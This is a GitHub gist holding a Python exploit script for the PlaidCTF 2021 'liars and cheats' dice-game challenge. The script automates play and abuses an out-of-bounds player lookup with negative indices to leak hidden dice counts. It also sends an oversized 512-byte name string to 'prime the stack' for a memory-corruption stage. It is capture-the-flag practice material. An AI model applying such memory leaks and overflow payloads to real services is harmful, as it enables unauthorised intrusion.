Created
April 18, 2021 21:32
-
-
Save jduck/ff2b785639a0c218e69dbfe71329916c to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# | |
# liars and cheats plaidctf 2021 challenge | |
# | |
# -jduck | |
import socket | |
import select | |
import sys | |
import time | |
import random | |
class Liar(): | |
def __init__(self, sd, player_cnt, do_swap = False): | |
self.sd = sd | |
#self.interactive() | |
#sys.exit(0) | |
self.verbose = 1 | |
# game variables | |
self.state = 'initial' | |
self.player_cnt = player_cnt | |
self.our_pnum = self.player_cnt - 1 | |
self.round_num = 0 | |
self.cur_player = 0 | |
# everyones dice counts (tracked locally) | |
self.dice_cnts = [] | |
self.init_dice_cnts() | |
# our dice | |
self.dice_faces = [] | |
# exploitation logic | |
self.face_cnt_off = -8 | |
self.swap_to = None | |
if do_swap: | |
self.swap_to = 0 | |
def read_until_timeout(self, timeout=0.1): | |
rs = time.time() | |
ret = '' | |
while True: | |
r,w,x = select.select([ self.sd ], [ ], [ ], timeout) | |
if self.sd in r: | |
buf = self.sd.recv(1024) | |
ret += buf | |
re = time.time() | |
if re - rs >= timeout: | |
break | |
if len(ret) == 0: | |
return None | |
return ret | |
def send_cmd(self, buf, quiet=False): | |
if not quiet: | |
print '<-- %s' % (repr(buf)) | |
self.sd.sendall(buf) | |
def set_state(self, new_state): | |
if self.verbose > 1: | |
print('[*] changing state %s -> %s' % (self.state, new_state)) | |
self.state = new_state | |
# | |
# convert horizontal graphical dice to number array / poor mans OCR | |
# | |
def decode_dice(self, num_dice, dice_lines): | |
self.dice_faces = [] | |
tops, mids, bots = dice_lines | |
for idx in range(0, num_dice): | |
self.dice_faces.append(0) | |
# check mid line first | |
if mids[idx][1] == 'o': | |
# this can only be 1, 3, or 5 | |
if tops[idx][0] == 'o': | |
self.dice_faces[idx] = 5 | |
elif tops[idx][2] == 'o': | |
self.dice_faces[idx] = 3 | |
else: | |
self.dice_faces[idx] = 1 | |
else: | |
# empty mid is 2, 4, 6 | |
if mids[idx][0] == 'o': | |
self.dice_faces[idx] = 6 | |
else: | |
self.dice_faces[idx] = 2 | |
if tops[idx][2] == 'o': | |
self.dice_faces[idx] = 4 | |
# | |
# figure out how to proceed when it is our turn | |
# | |
# when we have more than 5 dice (and no on else does) we have a severe | |
# advantage. we can cause other players to call 'spot-on' incorrectly -- | |
# ultimately leading to their elimination. | |
# | |
# our strategy is to increase our dice count whenever we can, and if not | |
# then we want to decrease the other player's count. | |
# | |
def take_turn(self, bcnt, bface): | |
# are we being forced to bet? if so we'll have to do our best... no option to quit. | |
if bcnt == -1 and bface == -1: | |
if self.have_advantage(): | |
# use the face for the 6th dice | |
bet_face = self.dice_faces[5] | |
bet_cnt = self.face_cnts[bet_face - 1] | |
print(' >:D FORCED BET: %d of %d' % (bet_cnt, bet_face)) | |
return [ 0, bet_cnt, bet_face ] | |
# min bet | |
return [ 0, 1, 1 ] | |
return self.bet_max() | |
# if it is after round 0 and we lost advtange, start over | |
if self.round_num > 0 and not self.have_advantage(): | |
print('[!] We lost advantage! Starting over...') | |
return [ 3, -1, -1 ] | |
# do we have advantage? if so we will act differently. | |
bet_face = -1 | |
bet_cnt = -1 | |
if self.have_advantage(): | |
# we can only call spot-on if we have perfect information (advantage) | |
if bcnt == self.face_cnts[bface - 1]: | |
if bface not in self.dice_faces[5:]: | |
print(' >:D count matches face_cnts entry - Calling spot on!') | |
return [ 2, bet_cnt, bet_face ] # 31337, 31337 ] | |
if self.dice_faces[5] >= bface: | |
bet_face = self.dice_faces[5] | |
if self.face_cnts[bet_face - 1] >= bcnt: | |
bet_cnt = self.face_cnts[bet_face - 1] | |
if bet_face == bface and bet_cnt == bcnt: | |
# oops. forget it | |
bet_face = -1 | |
bet_cnt = -1 | |
if bet_face != -1 and bet_cnt != -1: | |
print(' >:D BET: %d of %d' % (bet_cnt, bet_face)) | |
return [ 0, bet_cnt, bet_face ] | |
# if we don't have advantage, or our advantage betting strategy didn't work out, fall back | |
if bet_face == -1 or bet_cnt == -1: | |
# old logic based on assumption of correctness of spot-on/liar tally | |
if bcnt == self.face_cnts[bface - 1] and not self.have_extra_dice(): | |
print(' count matches face_cnts entry - Calling spot on!') | |
return [ 2, bet_cnt, bet_face ] | |
""" | |
elif bcnt > self.face_cnts[bface - 1]: | |
print(' :-/ count is larger, calling liar!') | |
return [ 1, bet_cnt, bet_face ] | |
""" | |
# figure out what we should bet to be able to call 'spot-on' on our next turn | |
# run through what each player will bet... to see how we can influence it. | |
#self.predict_bets(bcnt, bface) | |
bet_face = bface | |
bet_cnt = bcnt + 1 | |
print(' BETTING: %d of %d' % (bet_cnt, bet_face)) | |
if self.face_cnts[bface - 1] - bcnt > self.player_cnt: | |
print('eureka') | |
return [ 0, bet_cnt, bet_face ] | |
# fallback to manual data entry | |
return [ 0, -1, -1 ] | |
def predict_bets(self, bet_cnt, bet_face): | |
done = False | |
for face in range(bet_face, 7): | |
print('\n[*] Bet face %d' % face) | |
fc = self.face_cnts[face - 1] | |
for cnt in range(bet_cnt, fc+1): | |
print(' Predicting bets after [ %d, %d ]' % (cnt, face)) | |
tcnt = cnt | |
tface = face | |
for i in range(0, self.player_cnt): | |
turn = self.vanilla_turn(tcnt, tface) | |
print(' prediction: player %d will bet %s' % (i, turn)) | |
tcmd, tcnt, tface = turn | |
if tcmd != 0: | |
break | |
def vanilla_turn(self, bcnt, bface): | |
if self.face_cnts[bface - 1] < bcnt: | |
return [ 1, -1, -1 ] | |
if self.face_cnts[bface - 1] == bcnt: | |
return [ 2, bcnt, bface ] | |
return self.vanilla_bet(bcnt, bface) | |
def vanilla_bet(self, bcnt, bface): | |
if self.face_cnts[bface - 1] < bcnt + 1: | |
bcnt += 1 | |
nface = -1 | |
for tface in range(bface, 6): | |
nface = tface | |
if self.face_cnts[tface] >= bcnt: | |
break | |
if nface <= 5: | |
return [ 0, bcnt, nface ] | |
else: | |
return [ 2, -1, -1 ] | |
return [ 0, bcnt + 1, bface ] | |
def bet_max(self): | |
maxcnt = 0 | |
maxidx = -1 | |
for idx in range(0, len(self.face_cnts)): | |
fc = self.face_cnts[idx] | |
if fc > maxcnt: | |
maxcnt = fc | |
maxidx = idx | |
bet_face = maxidx + 1 | |
bet_cnt = maxcnt | |
print(' BET MAX: %d of %d' % (bet_cnt, bet_face)) | |
return [ 0, bet_cnt, bet_face ] | |
# | |
# the main state machine | |
# | |
def event_loop(self): | |
buf = '' | |
while self.state != 'finished': | |
newbuf = self.read_until_timeout() | |
if newbuf != None: | |
#print '--> %s' % (repr(newbuf)) | |
buf += newbuf | |
# process the input in lines | |
for line in buf.splitlines(True): | |
# empty lines are not useful | |
if line == '\n': | |
pass | |
# no ansi colors, thx | |
elif '\x1b' in line: | |
pass | |
# these lines are cruft and never printed | |
elif line in [ | |
'The game works like this: \n', | |
'Each player starts the game with the same number of dice. At the beginning of each round, all players roll their dice. \n', | |
'Each player keeps their dice values a secret. Players take turns placing "bets" about all the dice rolled for that round. \n', | |
'A bet consists of a die face (1-6) and the number of dice that player believes were rolled. Once a player places their bet, \n', | |
'the next player may decide to raise the bet, call the last player a liar, or say that the last bet was "spot on." \n', | |
' 1) If the player chooses to raise the bet, they must either increase the number of dice, the die face value, or both. They may not decrease either value. \n', | |
' 2) If they believe the last bet was wrong, then all players reveal their dice. If the bet was valid, the challenger loses a die. Otherwise, the better loses a die. \n', | |
' 3) If they believe the last bet was exactly correct, and they are right, they are rewarded with an extra die. \n', | |
'Once a player has no more dice, they are eliminated. The last player standing, wins. \n', | |
'Have fun! And remember, no cheating!\n', | |
'0) Roll to start round\n', | |
'1) Check player\'s number of dice\n', | |
'2) Change your spot\n', | |
'3) Number of players left\n', | |
'0) Bet\n', | |
'1) Liar\n', | |
'2) Spot On\n', | |
'1) Print dice vertically\n', | |
'2) Print dice horizontally\n', | |
'Your dice:\n', | |
'It\'s time to start the round!\n', | |
# these are important but ignored as things are working well | |
'New round!\n', | |
'How many players total (4-10)? ', | |
'How many players total (4-10)? \n', | |
'4) Leave\n', | |
]: | |
pass | |
elif self.state in [ 'snarf_dice', 'betting', 'leak_facecnts' ]: | |
pass | |
elif self.verbose > 0: | |
print '--> %s' % (repr(line)) | |
# | |
# process the input depending on the current state | |
# | |
if self.state == "initial": | |
if line.startswith('How many players total (4-10)? '): | |
self.send_cmd('%d\n' % self.player_cnt, True) | |
elif line == 'New round!\n': | |
print('\n[*] Round %d - Player dice counts: %s' % (self.round_num, repr(self.dice_cnts))) | |
# NOTE: dont increase round number when we get this line in initial state. | |
# further rounds will get this line in "post_betting" state | |
self.set_state("leak_facecnts") | |
self.face_cnts = [] | |
elif self.state == 'leak_facecnts': | |
if line == '4) Leave\n': | |
# send read player cmd | |
if len(self.face_cnts) < 6: | |
self.send_cmd('1\n', True) | |
elif line == 'Player? ': | |
# supply player number to read | |
if len(self.face_cnts) < 6: | |
if len(self.face_cnts) < 1: | |
print('[*] Trying face_cnt_off %d' % self.face_cnt_off) | |
self.send_cmd('%d\n' % (self.face_cnt_off + len(self.face_cnts)), True) | |
elif 'They have ' in line and ' dice\n' in line: | |
# parse read player cmd response | |
numstr = line[10:] | |
numstr = numstr[:numstr.index(' ')] | |
num = int(numstr) | |
print('[*] face_cnts[%d] = %d' % (len(self.face_cnts), num)) | |
if num >= 0 and num <= 64: | |
self.face_cnts.append(num) | |
elif len(self.face_cnts) < 1: | |
self.face_cnt_off -= 8 | |
# finished reading face counts? | |
if len(self.face_cnts) == 6: | |
print('[*] face_cnts: %s' % (repr(self.face_cnts))) | |
if self.swap_to != None: | |
self.set_state('swap_players') | |
else: | |
self.set_state('start_round') | |
elif self.state == 'swap_players': | |
if line == '4) Leave\n': | |
# send "swap spot" command | |
self.send_cmd('2\n', True) | |
elif line == 'Which player do you want to switch with? ': | |
""" | |
npnum = -1 | |
if self.round_num == 0: | |
print(' - next player to act: %d' % self.cur_player) | |
# the number of turns required to get to "spot-on" | |
treq = self.face_cnts[0] | |
print(' - treq: %d' % treq) | |
# have to go around? | |
if treq > self.player_cnt: | |
treq = treq % self.player_cnt | |
print(' - treq2: %d' % treq) | |
npnum = self.cur_player + treq | |
print(' - npnum: %d' % npnum) | |
if npnum > self.player_cnt: | |
npnum -= self.player_cnt | |
print(' - npnum: %d' % npnum) | |
else: | |
npnum = self.player_cnt - 1 | |
self.send_cmd('%d\n' % npnum, False) | |
""" | |
self.send_cmd('%d\n' % self.swap_to, False) | |
self.swap_to = None | |
elif line.startswith('You are now Player '): | |
idx = line.index('Player ') | |
pnumstr = line[idx + 7] | |
pnum = int(pnumstr) | |
# swap dice counts too | |
pnum_dc = self.dice_cnts[pnum] | |
our_dc = self.dice_cnts[self.our_pnum] | |
self.dice_cnts[pnum] = our_dc | |
self.dice_cnts[self.our_pnum] = pnum_dc | |
# update our pnum | |
self.our_pnum = pnum | |
self.set_state('start_round') | |
elif self.state == 'start_round': | |
if line == '4) Leave\n': | |
# send "start round" command | |
self.send_cmd('0\n', True) | |
elif line == '2) Print dice horizontally\n': | |
# show our dice horizontally | |
self.send_cmd('2\n', True) | |
elif line == 'Your dice:\n': | |
# move to snarf em up | |
self.set_state('snarf_dice') | |
dice_lines = [] | |
elif self.state == 'snarf_dice': | |
if '-----' in line: | |
if len(dice_lines) == 3: | |
# bottom line, extract values from dice | |
self.decode_dice(num_dice, dice_lines) | |
print('[*] Our dice (player %d): %s' % (self.our_pnum, repr(self.dice_faces))) | |
self.set_state('betting') | |
else: | |
# top line, count number of dice | |
tb_parts = line.split() | |
num_dice = len(tb_parts) | |
#print('[*] We have %d dice' % (self.num_dice)) | |
#print(' %s' % repr(tb_parts)) | |
elif '|' in line: | |
# should be three meaty lines | |
tb_parts = line.split('|') | |
nparts = [] | |
for p in tb_parts: | |
# only keep the part between |xxx| | |
if len(p) == 3: | |
nparts.append(p) | |
print(' %s' % repr(nparts)) | |
dice_lines.append(nparts) | |
elif self.state == 'betting': | |
#print(repr(line)) | |
if 'Player ' in line and 's turn\n' in line: | |
# get the number of the player whose turn it is | |
pnumstr = line[7:8] | |
pnum = int(pnumstr) | |
self.cur_player = pnum | |
elif 'Bet ' in line: | |
# extract the bet value made by a player | |
bnums = [] | |
bstrs = line[4:].split() | |
bnums.append(int(bstrs[0])) | |
bnums.append(int(bstrs[1][0])) | |
print('[*] Player %d bets %s' % (pnum, repr(bnums))) | |
elif line == '3) Leave\n': | |
# it's our turn. let's figure out what to bet. | |
# this is the last bet | |
cnt,face = bnums | |
print('[*] Our turn! Current bet is %d of %d' % (cnt, face)) | |
# figure out what to do! | |
cmd, bet_cnt, bet_face = self.take_turn(cnt, face) | |
self.send_cmd('%d\n' % cmd, True) | |
if (cmd == 3): | |
self.set_state('post_betting') | |
continue | |
elif line == 'You must bet\n': | |
# bet with no restrictions! (first to bet) | |
print('[*] Forced to bet!') | |
cmd, bet_cnt, bet_face = self.take_turn(-1, -1) | |
if cmd != 0: | |
raise Exception('[!] Unable to respond to forced bet with non-bet command %d' % cmd) | |
elif line == 'Die face? ': | |
#cmd = '%d\n' % random.randint(1, 6) | |
if bet_face == -1: | |
print(repr(line)) | |
cmd = sys.stdin.readline() | |
else: | |
cmd = '%d\n' % bet_face | |
self.send_cmd(cmd, True) | |
elif line == 'Number of dice? ': | |
#cmd = '%d\n' % random.randint(1, 32) | |
if bet_cnt == -1: | |
print(repr(line)) | |
cmd = sys.stdin.readline() | |
else: | |
cmd = '%d\n' % bet_cnt | |
self.send_cmd(cmd, True) | |
# these two special cases means someone called spot-on/liar | |
elif line == 'Called spot on.\n': | |
print('[*] Player %d called spot on' % pnum) | |
self.set_state('post_betting') | |
elif line == 'Called liar.\n': | |
print('[*] Player %d called liar' % pnum) | |
self.set_state('post_betting') | |
elif self.state == 'post_betting': | |
#'That was spot on! Player 9 gets an extra die!\n' | |
#'That was not spot on! Player 4 loses a die.\n' | |
#'That was a lie! There were only 9 1s on the table. Player 9 loses a die.\n' | |
if line.startswith('That was '): | |
# someone (maybe even us) guessed spot on - take note of add or sub or dice count | |
addend = 0 | |
if line[9] == 'n': | |
addend = -1 | |
elif line[9] == 's': | |
addend = 1 | |
elif line[9] == 'a': | |
addend = -1 | |
idx = line.index('Player ') | |
pnumstr = line[idx + 7:] | |
pnumstr = pnumstr[:pnumstr.index(' ')] | |
pnum = int(pnumstr) | |
#print('[*] dice_cnts[%d] += %d' % (pnum, addend)) | |
self.dice_cnts[pnum] += addend | |
elif line == 'New round!\n': | |
# during post betting the round ended. reset the round vars and increment round counter | |
self.round_num += 1 | |
print('\n[*] Round %d - Player dice counts: %s' % (self.round_num, repr(self.dice_cnts))) | |
self.set_state('leak_facecnts') | |
self.face_cnts = [] | |
elif line == 'What is your name? ': | |
print('[*] Sending lots of AAAAAAA....') | |
self.send_cmd('A' * (512) + '\n', True) | |
#self.player_cnt = 10 | |
#self.interactive() | |
return | |
elif line == 'Play again (y/n)? ': | |
# we quit for some reason. let's go again! | |
self.send_cmd('y\n', self.verbose > 0) | |
self.round_num = 0 | |
if self.player_cnt == 10: | |
self.swap_to = 0 | |
self.set_state('initial') | |
self.init_dice_cnts() | |
""" | |
self.send_cmd('n\n', self.verbose > 0) | |
self.set_state('finished') | |
""" | |
# remove this line from the buffer | |
buf = buf[len(line)+1:] | |
def init_dice_cnts(self): | |
self.dice_cnts = [] | |
for i in range(0, self.player_cnt): | |
self.dice_cnts.append(5) | |
def have_extra_dice(self): | |
for i in range(0, self.player_cnt): | |
if self.dice_cnts[i] > 5: | |
return True | |
return False | |
def have_advantage(self): | |
if self.dice_cnts[self.our_pnum] <= 5: | |
return False | |
if self.player_cnt == 10: | |
return True | |
for i in range(0, self.player_cnt): | |
if i == self.our_pnum: | |
continue | |
if self.dice_cnts[i] > 5: | |
return False | |
return True | |
def interactive(self): | |
timeout = 0.1 | |
while True: | |
r,w,x = select.select([ self.sd, sys.stdin ], [ ], [ ], timeout) | |
#print(repr(r)) | |
if self.sd in r: | |
buf = self.sd.recv(1024) | |
if buf == None or len(buf) < 1: | |
return | |
print(buf) | |
if sys.stdin in r: | |
buf = sys.stdin.readline() | |
if buf.startswith('exit'): | |
return | |
self.sd.sendall(buf) | |
#host = 'liars.pwni.ng' | |
host = '127.0.0.1' | |
sd = socket.socket() | |
sd.connect((host, 2018)) | |
# game one, win and prime the stack | |
print('\n[*] Entering GAME 1') | |
liar = Liar(sd, 7) | |
liar.event_loop() | |
# game two, try to get someone with 6 while we have 7. swap places twice. | |
print('\n[*] Entering GAME 2') | |
liar = Liar(sd, 10, True) | |
liar.send_cmd('y\n', False) | |
liar.event_loop() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment